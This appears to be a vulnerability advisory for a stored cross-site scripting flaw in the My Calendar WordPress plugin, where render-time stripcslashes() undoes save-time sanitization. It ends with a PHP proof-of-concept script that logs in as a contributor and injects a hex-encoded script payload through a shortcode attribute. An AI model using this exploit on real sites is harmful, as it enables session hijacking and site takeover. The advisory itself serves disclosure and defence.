Atomic Edge analysis of CVE-2026-2355 (metadata-based):
The vulnerability is a stored cross-site scripting (XSS) flaw in the My Calendar plugin’s shortcode handling. The root cause involves improper input sanitization during template rendering. The plugin uses the `mc_draw_template()` function to process the `template` attribute of the `[my_calendar_upcoming]` shortcode. This function applies `stripcslashes()` to user-supplied attribute values. The `stripcslashes()` function decodes C-style escape sequences, converting hexadecimal representations like `x3c` back into their original characters, such as `<`.
WordPress's `wp_kses_post()` sanitization runs when content is saved to the database. This sanitization removes or neutralizes HTML tags and scripts. However, the `stripcslashes()` transformation occurs later, at render time, after the sanitized content is retrieved from the database. This creates a sanitization bypass. An attacker can inject encoded payloads that pass through `wp_kses_post()` as inert text, only to be decoded into active HTML/JavaScript by `stripcslashes()` during page output.
Exploitation requires Contributor-level or higher WordPress access. Attackers inject malicious shortcodes into posts or pages. The primary attack vector is the WordPress post editor. The payload is delivered via the `template` attribute of the `[my_calendar_upcoming]` shortcode. A typical payload encodes script tags and JavaScript code using hex escapes, for example, `template="x3cscriptx3ealert(document.domain)x3c/scriptx3e"`. When the post is viewed, the plugin renders the shortcode, decodes the payload, and executes the script in the victim's browser.
The fix likely involves removing the `stripcslashes()` call from the template rendering logic or applying proper output escaping after the decode operation. The patched version (3.7.4) presumably implements one of these corrections. If exploited, this vulnerability allows authenticated attackers with minimal privileges to inject arbitrary JavaScript. This script executes in the context of any user viewing the compromised page, enabling session hijacking, administrative actions, or content defacement.
Atomic Edge research confirms the described mechanism from the CVE metadata. The inference about the `mc_draw_template()` function's role is based on the description. The exact location of the vulnerable code and the full patch details cannot be verified without source code access.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2355 - My Calendar – Accessible Event Manager <= 3.7.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
$target_url = 'http://example.com/wp-login.php';
$username = 'contributor';
$password = 'password';
// Payload: Hex-encoded script tag that decodes to <script>alert(document.domain)</script>
// The backslashes are doubled for PHP string literal representation.
$malicious_shortcode = '[my_calendar_upcoming template="\x3cscript\x3ealert(document.domain)\x3c/script\x3e"]';
$ch = curl_init();
// 1. Authenticate and get session cookies
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
// 2. Assume we have a valid post ID (e.g., 1) to edit. In a real scenario, you would create or identify a post first.
// This targets the standard WordPress post update endpoint.
$edit_url = 'http://example.com/wp-admin/post.php';
$post_id = 1;
// 3. Craft POST data to update the post content with the malicious shortcode.
// This requires a valid nonce. The script assumes the attacker can obtain one via a prior GET request.
// For this PoC, we simulate the payload structure.
$post_data = [
'post_ID' => $post_id,
'content' => $malicious_shortcode,
'action' => 'editpost',
'_wpnonce' => 'NONCE_PLACEHOLDER', // Must be replaced with a real nonce from a live session
'post_title' => 'Vulnerable Post'
];
curl_setopt_array($ch, [
CURLOPT_URL => $edit_url,
CURLOPT_POSTFIELDS => http_build_query($post_data)
]);
$response = curl_exec($ch);
curl_close($ch);
// 4. If successful, visiting the post at http://example.com/?p=1 will execute the alert.
echo "If authentication and nonce were valid, the post content was updated.n";
echo "Visit the post to trigger the XSS payload.n";
?>
